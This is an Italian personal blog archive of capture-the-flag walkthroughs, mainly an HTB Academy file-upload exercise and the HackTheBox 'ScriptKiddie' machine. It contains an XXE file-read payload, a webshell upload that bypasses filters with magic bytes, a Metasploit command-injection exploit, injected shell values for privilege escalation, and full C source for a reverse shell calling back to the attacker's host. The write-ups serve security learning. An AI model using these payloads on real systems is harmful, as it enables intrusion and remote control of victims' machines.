Archive for the 'walkthrough' Category

perché no?

February 12th, 2023 | Category: tmrc,walkthrough

ciao

in questo momento è in running la finale di Sanremo 2023

M. e fabrizio la stanno vedendo di là

io mi sento totalmente libero di non vederla (ma non posso certo fare a meno di sentirla), e mi sono messo a fare queste piccole challenge (categoria: Javascript):

Challenges – RingZer0 Online CTF (ringzer0ctf.com)

Che buffo, è quasi impossibile credere che io sia riuscito a concentrarmi per riuscire a fare questa (mooooolto carina!)

tmrc/CTF-Walkthrough/ringzer0ctf/javascript/Why_not at main · sughenji/tmrc · GitHub

meh, insomma, non sono tanto decerebrato dai 🙂

cmq, mi sembra tutto abbastanza chiaro.

la mia specialità (o dovrei dire: il mio rifugio) è: procrastinare qualsiasi cosa “vera”, con la giustificazione di non essere ancora pronto.

ma magari io sono più pronto di quello che io creda.

sono un limite per me stesso, si sa.

1 comment

F.u.A.

February 13th, 2022 | Category: activity_log,tmrc,walkthrough

ho trovato una motivazione per essere felice/stimolato: ormai mi “drogo” con moduli su academy.hackthebox.com 🙂

vediamo l'”esame finale” di questo interessantissimo modulo.

obiettivo del gioco: accedere al flag sul filesystem di questo webserver:

la parte più interessante è chiaramente “Contact Us”:

iniziamo con le cose semplici, e vediamo come va a finire con un’immagine qualunque:

il file viene caricato con successo:

ma.. non sembra immediato capire “dove” sia andato a finire:

tentativi banali come /upload/nomefile, /uploads/nomefile, etc.. non hanno portato a nulla.

proviamo (tentativo disperato) ad uploadare una webshell in PHP. tra parentesi, sembra esserci un controllo client-side sui tipi di files ammessi:

che fa il paio con:

by the way, veniamo chiaramente inculati:

cerchiamo di indagare su quale sia lo script php che si “occupa” di fare l’upload, con l’inseparabile Burp:

vediamo se riusciamo a ottenere in chiaro il codice di upload.php tramite XXE.

creiamo un file .svg con questo contenuto:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>

prima di farlo, tramite l’inspector del browser, togliamo di mezzo quei controlli, ossia:

onchange="checkFile(this)" accept=".jpg,.jpeg,.png"

carichiamo il file svg:

e godiamoci il risultato:

quel blocco encodato in base64 contiene il codice php del file upload.php.

# cat upload.php | base64 -d
<?php
require_once('./common-functions.php');

// uploaded files directory
$target_dir = "./user_feedback_submissions/";

// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;

// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);

// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
    echo "Extension not allowed";
    die();
}

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// type test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
        echo "Only images are allowed";
        die();
    }
}

// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
    echo "File too large";
    die();
}

if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
    displayHTMLImage($target_file);
} else {
    echo "File failed to upload";
}

la prima scoperta interessante è il path di dove vengono salvate le immagini:

$target_dir = "./user_feedback_submissions/";

nonché il come vengono rinominati i files:

$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName;

come controprova, verifichiamo con il nostro Mario kart di prima 🙂

CVD!

next, avendo in chiaro anche il meccanismo di blacklist E whitelist, possiamo fare dei test.

partiamo da una jpg “vera” qualsiasi (giusto per non rimettere mano all’inspector del browser per togliere i javascript 🙂

e intercettiamo l’upload:

proviamo a cambiare il nome del file e il contenuto dello stesso con una web shell semplicissima:

veniamo inculati:

ma noi questo lo sapevamo già, perché abbiamo triggerato la “blacklist” (il nostro file contiene “.php“)

if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
    echo "Extension not allowed";
    die();

la blacklist di cui sopra, tuttavia, consente di uploadare un file con estensione .phar che, può portare comunque ad esecuzione di codice PHP, se assumiamo che la conf del web server sia:

<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>

come si vede, l’errore è diverso: adesso abbiamo superato la blacklist, ma abbiamo triggerato la whitelist

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

la whitelist di cui sopra è fatta un po’ meglio della blacklist, perché consente solo i file il cui nome finisce con quella regexp (mentre la blacklist verifica solo se contiene o meno la regexp).

riproviamo dunque con pac.phar.jpg:

A questo punto non è chiaro al 100% se abbiamo superato la whitelist, perché l’errore, anche nella terza condizione, è sempre “Only images are allowed“:

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// type test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
        echo "Only images are allowed";
        die();
    }
}

tuttavia, grazie a questo link:

sembra che abbiamo bypassato la whitelist.

dobbiamo quindi superare il terzo controllo; dobbiamo presupporre che dopo l’upload venga effettuato un check sul tipo di file.

Dobbiamo quindi far creare al controllo lato-server che si tratti di una jpeg, anche se di fatto non lo è.

possiamo trovare un po’ ovunque i “magic bytes” per i vari tipi di file, es.

https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5

nel nostro caso dobbiamo far sì che il contenuto esadecimale del nostro file inizi con:

ff d8 ff e0

grazie a hexedit, modifichiamo dunque l'”incipit” della webshell aggiungendo i bytes di cui sopra, ottenendo alla fine:

il comando file sembra darci ragione sul fatto che sia veramente una jpeg:

root@kaligra:/home/joshua/academy/file_upload_attacks# file webshell.phar.jpg
webshell.phar.jpg: JPEG image data

a questo punto, dopo aver avuto un’idea completa dei controlli lato client (javascript) e lato server (controlli tramite PHP), possiamo prendere il nostro file webshell.phar.jpg e uploadarlo indisturbati:

vediamo se è stato caricato correttamente:

mm, c’è qualcosa (non un errore “Not found” 🙂

a questo punto, possiamo interagire con la nostra webshell, passandogli il parametro cmd e il comando desiderato:

game over *

1 comment

che fatica

January 02nd, 2022 | Category: activity_log,tmrc,vita,walkthrough

Protected: spectra

June 01st, 2021 | Category: tmrc,walkthrough

This content is password protected. To view it please enter your password below:

Enter your password to view comments.

tutto sommato, sono scarso :)

May 28th, 2021 | Category: tmrc,vita,walkthrough

c’ho perso così tanto tempo che vale la pena farci un post….

come dicevo quasi esattamente l’anno scorso, ho deciso di buttarmi un po’ più seriamente nell’affascinante mondo dell’ethical hacking (…)

il mio impegno di routine (ah, come amo la routine. com’è rassicurante) è cercare di fare una VM a settimana su hackthebox.eu

l’ultima è stata ScriptKiddie. di livello FACILE. in teoria

la VM in questione è ancora attiva, per cui.. se stai leggendo, vuol dire che ti ho dato la password 😀

cominciamo.

# nmap -T4 -p- -oN 01_nmap.txt 10.10.10.226
# Nmap 7.91 scan initiated Tue May 25 23:12:28 2021 as: nmap -T4 -p- -oN 01_nmap.txt 10.10.10.226
Nmap scan report for 10.10.10.226
Host is up (0.048s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

andiamo leggermente più a fondo:

# nmap -T4 -p22,5000 -A -oN 02_nmap.txt 10.10.10.226
# Nmap 7.91 scan initiated Tue May 25 23:25:56 2021 as: nmap -T4 -p22,5000 -A -oN 02_nmap.txt 10.10.10.226
Nmap scan report for 10.10.10.226
Host is up (0.044s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   43.92 ms 10.10.14.1
2   44.17 ms 10.10.10.226

chiaramente mi dirigo via browser sulla porta 5000:

provo a farmi un nmap da solo 🙂 metto il mio ip, e in effetti ricevo lo scan dal sito remoto:

# tcpdump -i tun0 -nn not port 5000
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
10:19:47.626618 IP 10.10.10.226.35770 > 10.10.14.28.80: Flags [S], seq 1822080011, win 64240, options [mss 1357,sackOK,TS val 3575408215 ecr 0,nop,wscale 7], length 0
10:19:47.626655 IP 10.10.14.28.80 > 10.10.10.226.35770: Flags [R.], seq 0, ack 1822080012, win 0, length 0
10:19:47.626675 IP 10.10.10.226.47216 > 10.10.14.28.443: Flags [S], seq 2628818854, win 64240, options [mss 1357,sackOK,TS val 3575408215 ecr 0,nop,wscale 7], length 0
10:19:47.626690 IP 10.10.14.28.443 > 10.10.10.226.47216: Flags [R.], seq 0, ack 2628818855, win 0, length 0
10:19:47.671060 IP 10.10.10.226.33122 > 10.10.14.28.111: Flags [S], seq 2417941658, win 64240, options [mss 1357,sackOK,TS val 3575408260 ecr 0,nop,wscale 7], length 0
10:19:47.671113 IP 10.10.14.28.111 > 10.10.10.226.33122: Flags [S.], seq 4074904182, ack 2417941659, win 65160, options [mss 1460,sackOK,TS val 1882515510 ecr 3575408260,nop,wscale 7], length 0
..
..
..

mi concentro poi sul secondo “blocco”, vedo che la generazione del payload per Linux fallisce sempre, quindi passo a Windows:

si riesce a generare un payload:

che si può scaricare da:

http://10.10.10.226:5000/static/payloads/1cc2ae72ad1d.exe

ma non ci si fa granché.

su /static e /payloads si ottiene un bel “Not Found”.

ma a che servirà quel “template”?

per fortuna mi è venuto in mente abbastanza presto di cercare “venom exploit template”, e ho trovato questo:

https://www.rapid7.com/db/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection/

da msfconsole:

msf6 > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection

le opzioni sono poche ed intuitive:

msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > show options

Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.apk          yes       The APK file name


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.88.10    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

ho impostat LHOST sull’ip della mia VPN con hackthebox ( set LHOST 10.10.14.28 ) e la porta (non so perché l’ho voluta cambiare 🙂 set LPORT 5555 ), e ho generato il file:

msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST 10.10.14.28
LHOST => 10.10.14.28
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LPORT 5555
LPORT => 5555
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) options

Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.apk          yes       The APK file name


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.28      yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run

[+] msf.apk stored at /root/.msf4/local/msf.apk

a questo punto ho messo in ascolto la porta 5555 sulla mia “attacker machine”:

root@kali:/opt/htb/ScriptKiddie# nc -nlvp 5555
listening on [any] 5555 ...

e ho provato ad usare il tool, stavolta buttandoci dentro il mio “malicious template”:

(su lhost ho messo un ip a cazzo, perché tanto ero convinto che avrebbe funzionato la reverse shell generata dall’apk di cui sopra), e infatti:

root@kali:/opt/htb/ScriptKiddie# nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.226] 44180

boom, siamo dentro 🙂

ahimé come utenti NON privilegiati:

mettiamoci subito comodi con una shell “umana” (bash -i)

in /home/kid/user.txt ho trovato il flag, e l’ho submittata su htb 🙂

per stare ANCORA PIU’ COMODO, ho messo in authorized_keys la mia chiave pubblica, e poi mi sono ricollegato sulla VM in ssh (ricordate? nmap mostrava 22/TCP aperta)

sulla mia kali ho spawnato un webserver python al volo:

e ho scaricato dalla VM victim la chiave, copiando nel posto giusto:

ok, ora sono veramente felice 🙂

dando un’occhiata in giro, si vede la presenza di un altro user, il che significa chiaramente che bisogna fare “lateral movement” prima di fare PRIVESC 🙂

kid@scriptkiddie:~$ cd /home/
kid@scriptkiddie:/home$ ls -l
total 8
drwxr-xr-x 12 kid kid 4096 May 28 08:01 kid
drwxr-xr-x  6 pwn pwn 4096 Feb  3 12:06 pwn

si nota la presenza di uno script scanlosers.sh

kid@scriptkiddie:~$ cd /home/pwn/
kid@scriptkiddie:/home/pwn$ ls -l
total 8
drwxrw---- 2 pwn pwn 4096 May 28 07:10 recon
-rwxrwxr-- 1 pwn pwn  250 Jan 28 17:57 scanlosers.sh
kid@scriptkiddie:/home/pwn$ cat scanlosers.sh
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

quindi, prende il terzo campo (separato da spazio) del file /home/kid/logs/hackers e ci lancia nmap contro.

è simpatica l’opportunità di provarlo 🙂

rimetto in ascolto tcpdump sulla mia VM:

root@kali:~# tcpdump -i tun0 -nn not port 5000 and not port 22

genero il file:

kid@scriptkiddie:/home/pwn$ echo 'a b 10.10.14.28' > /home/kid/logs/hackers
kid@scriptkiddie:/home/pwn$

e infatti ricevo ho ricevuto lo scan (verificando sempre con tcpdump -i tun0 -nn not port 5000 and not port 22)

da qui in poi ho perso 2 notti.

una cosa simpatica che mi era venuta in mente (visto che la VM si chiama “Scriptkiddie” che fa pensare all’opzione di nmap:

-oS filespec (ScRipT KIdd|3 oUTpuT)
           Script kiddie output is like interactive output, except that it is post-processed to better suit the l33t HaXXorZ who previously looked down on Nmap due to its consistent
           capitalization and spelling. Humor impaired people should note that this option is making fun of the script kiddies before flaming me for supposedly “helping them”.

ho dato un’occhiata su https://gtfobins.github.io/ , in merito a nmap appunto, e ho trovato questo:

ho pensato: magari provo ad eseguire qualcosa con l’utente pwn, manipolando il contenuto del file /home/kid/logs/hackers

intanto ho fatto una prova, dopo aver copiato lo script scanlosers.sh nella home di kid.

ho creato un semplice script nse (come l’esempio di gtfobins), in modo da verificare che “funzionasse”, ad esempio scrivendo l’output del comando id dentro /tmp:

kid@scriptkiddie:~$ echo 'os.execute("/usr/bin/id > /tmp/kid.txt")' > /tmp/kidscript.nse
kid@scriptkiddie:~$ nmap --top-ports 10 --script=/tmp/kidscript.nse 127.0.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-28 09:06 UTC
NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:621: /tmp/kidscript.nse is missing required field: 'action'
stack traceback:
        [C]: in function 'error'
        /usr/bin/../share/nmap/nse_main.lua:621: in field 'new'
        /usr/bin/../share/nmap/nse_main.lua:823: in local 'get_chosen_scripts'
        /usr/bin/../share/nmap/nse_main.lua:1310: in main chunk
        [C]: in ?

QUITTING!

in barba all’errore, il file è stato generato:

kid@scriptkiddie:~$ cat /tmp/kid.txt
uid=1000(kid) gid=1000(kid) groups=1000(kid)

da qui, ho perso veramente troppo tempo.

con l’utente kid sembrava funzionare come mi aspettavo (lo script scanlosers.sh l’ho leggermente modificato per usare i path relativi a kid)

kid@scriptkiddie:~$ cat scanlosers.sh
#!/bin/bash

log=/home/kid/test

cd /home/kid/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
kid@scriptkiddie:~$ echo 'a b 10.10.14.28 --script=/tmp/kidscript.nse' > /home/kid/test
kid@scriptkiddie:~$ sh scanlosers.sh
scanlosers.sh: 10: [[: not found
kid@scriptkiddie:~$ NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:621: /tmp/kidscript.nse is missing required field: 'action'
stack traceback:
        [C]: in function 'error'
        /usr/bin/../share/nmap/nse_main.lua:621: in field 'new'
        /usr/bin/../share/nmap/nse_main.lua:823: in local 'get_chosen_scripts'
        /usr/bin/../share/nmap/nse_main.lua:1310: in main chunk
        [C]: in ?

QUITTING!

e il file è stato creato:

kid@scriptkiddie:~$ cat /tmp/kid.txt
uid=1000(kid) gid=1000(kid) groups=1000(kid)

non sono riuscito a fare altrettanto con utente pwn.

sbirciando (purtroppo) sul forum ufficiale, ho visto che si parlava di pspy; non ricordavo di averlo giù usato. è un tool che permette di avere una visione più chiara dei processi in tempo reale.

ho scaricato da qui la versione statica a 64bit:

https://github.com/DominicBreuker/pspy

l’ho copiata sulla VM victim con la stessa tecnica del web server Python, e l’ho eseguito:

ma non ho avuto fortuna:

kid@scriptkiddie:~$ echo 'a b 10.10.14.28 --script=/tmp/kidscript.nse' > /home/kid/logs/hackers

…perché chiaramente il comando nmap si “rompe” in quando non viene trovato /tmp/kidscript.nse.nmap.

dopo 2 serate 🙂 ho cambiato leggermente strada, abbandonando la via degli script nse e usando semplicemente bash:

kid@scriptkiddie:~$ echo 'a b ;/bin/bash -c "ping -c 3 10.10.14.28"' > /home/kid/logs/hackers

facendo così, ha funzionato: lato mio ho ricevuto i 3 ping:

con il traditional netcat non ho avuto fortuna (anche qui 🙂

al che, mi sono veramente rotto i coglioni e ho compilato una reverse shell in C, presa da qui:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#c

(chiaramente ho impostato il mio indirizzo e la porta 6666)

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 6666;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.14.28");

    connect(sockt, (struct sockaddr *) &revsockaddr,
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;
}

messa in ascolto la suddetta porta sulla mia VM:

root@kali:/opt/htb/ScriptKiddie# nc -nlvp 6666
listening on [any] 6666 ...

compilata la shell sulla VM victim:

kid@scriptkiddie:~$ gcc dio.c -o /home/kid/dio
kid@scriptkiddie:~$
kid@scriptkiddie:~$ echo 'a b ;/home/kid/dio #' > /home/kid/logs/hackers

FINALMENTE.

da qui in poi, tutto in discesa (sudo):

got root 🙂

No comments